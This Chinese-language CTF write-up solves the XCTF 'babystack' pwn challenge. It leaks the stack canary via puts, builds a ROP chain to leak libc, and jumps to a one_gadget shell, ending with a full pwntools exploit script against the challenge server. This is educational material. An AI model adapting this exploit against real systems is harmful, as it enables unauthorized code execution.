攻防世界 pwn1 题解
下载附件,file
命令识别文件为64位,checksec
命令查看程序保护情况,如图,有Canary和NX保护。
在ida64
中打开程序,程序的主要功能有两个:
- 存储用户输入的字符串内容
- 打印用户输入的字符串内容
特别的注意到,字符串数组大小为136(0x88)
,而read
运行的最大输入大小为0x100
,如图中红色框标注,因此可能存在栈溢出。同时puts
可以将输入打出,因此可以想到借此泄露出canary
值。
在汇编程序40091C
地址处,可以看到canary
值保存在rbp
上8字节处(即紧邻rbp
)。
GCC的canary,x86_64下从fs:0x28偏移处获取,32位下从gs:0x14偏移处获取
解题思路
1.Canary泄露
canary泄露原理:canary最低位设计为\x00
,目的为截断字符串。通过缓冲区溢出将canary最低位截断字符\x00
覆盖,然后通过puts
函数可以将输入的字符串连带剩余的canary数据输出,canary最低字节补\x00
即泄露出canary
值。
2.栈溢出准备
Canary泄露后就可以进行栈溢出操作。通过one_gadget
可以找到execve
在动态链接库中的地址。
所以思路是通过puts
泄露一个函数(puts
)地址,进而找到链接库基址,与上面得到的execve
地址相加得到其在程序中的地址。
3.栈溢出构造
得到execve
在程序中地址后,就可以构造shellcode,将返回地址替换为execve
。
'A'*136 + [Canary] + [fake ebp] + [execve addr]
具体实现1.Canary获取
sh = remote('***.***.***.***',****)sh.sendlineafter('>> ','1') # 选择1,存储输入字符串sh.sendline('A'*0x88)
通过向程序输入0x88字节数据抵达canary上方,最后还有一个字符\n
可将canary最低位\x00
覆盖,然后使用puts输出。
sh.sendlineafter('>> ','2') # 选择2,输出字符串sh.recvuntil('A\n')canary = u64(sh.recv(7).rjust(8,b'\x00')) ## 对canary解析
2.获取execve地址
获取canary后可利用puts
函数构造栈溢出shellcode泄露出puts
函数在程序中的地址。
利用puts
函数输出需要设置一个参数,需要pop rdi
的gadget
,利用ROPgadget
寻找相关gadget
。
ROPgadget --binary babystack --only "pop|ret" | grep "rdi"
如图,可以看到在地址0x400a93
处有我们想要的gadget:pop rdi ; ret
可通过pwntool
中的ELF
加载程序,获取puts@got
和puts@plt
地址。
elf = ELF('./babystack')puts_got = elf.got['puts']puts_plt = elf.plt['puts']
我尝试通过symbols
获取main
函数地址失败了,但从ida中可以得到,如图,main
函数地址为0x400908
。
到此,我们可以构造栈溢出shellcode来泄露puts在程序中的地址了:
'A'*0x88 + [Canary] + 'B'*8 + [pop_rdi_addr] + [puts_got_addr] + [puts_plt_addr] + [main_addr]
具体程序代码如下:
puts_got = elf.got['puts']puts_plt = elf.plt['puts']main_addr = 0x400908pop_rdi = 0x400a93payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)sh.sendlineafter('>> ','1')sh.sendline(payload)sh.sendlineafter('>> ','3') # 执行退出操作,从而让程序执行我们的指令real_puts = u64(sh.recv(6).ljust(8,b'\x00')) # 解析puts函数地址
题目提供了链接库,获取puts
在程序中地址后,可计算出链接库基址,进而获取我们需要的命令execve
的地址。
libc = ELF('./libc-2.23.so')base = real_puts - libc.symbols['puts']execve = base + 0x45216 # 0x45216为上面通过one_gadget找到的execve地址
3.获取shell
做好所有准备工作后,就可以构造payload进行溢出了。
payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(execve)
所有的代码如下:
from pwn import *elf = ELF('./babystack')libc = ELF('./libc-2.23.so')puts_got = elf.got['puts']puts_plt = elf.plt['puts']main_addr = 0x400908pop_rdi = 0x400a93sh = remote('61.147.171.105',62498)# 泄露canary地址sh.sendlineafter('>> ','1')sh.sendline(b'A'*0x88)sh.sendlineafter('>> ','2')sh.recvuntil('A\n')canary = u64(sh.recv(7).rjust(8,b'\x00'))print(hex(canary))# 泄露puts函数实际地址payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)sh.sendlineafter('>> ','1')sh.sendline(payload)sh.sendlineafter('>> ','3')real_puts = u64(sh.recv(6).ljust(8,b'\x00'))print(hex(real_puts))# 获取execve实际地址base = real_puts - libc.symbols['puts']execve = base + 0x45216# 构造payload溢出获取shellpayload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(execve)sh.sendlineafter('>> ','1')sh.sendline(payload)sh.sendlineafter('>> ','3')sh.interactive()
执行完后即可获得shell,获得flag。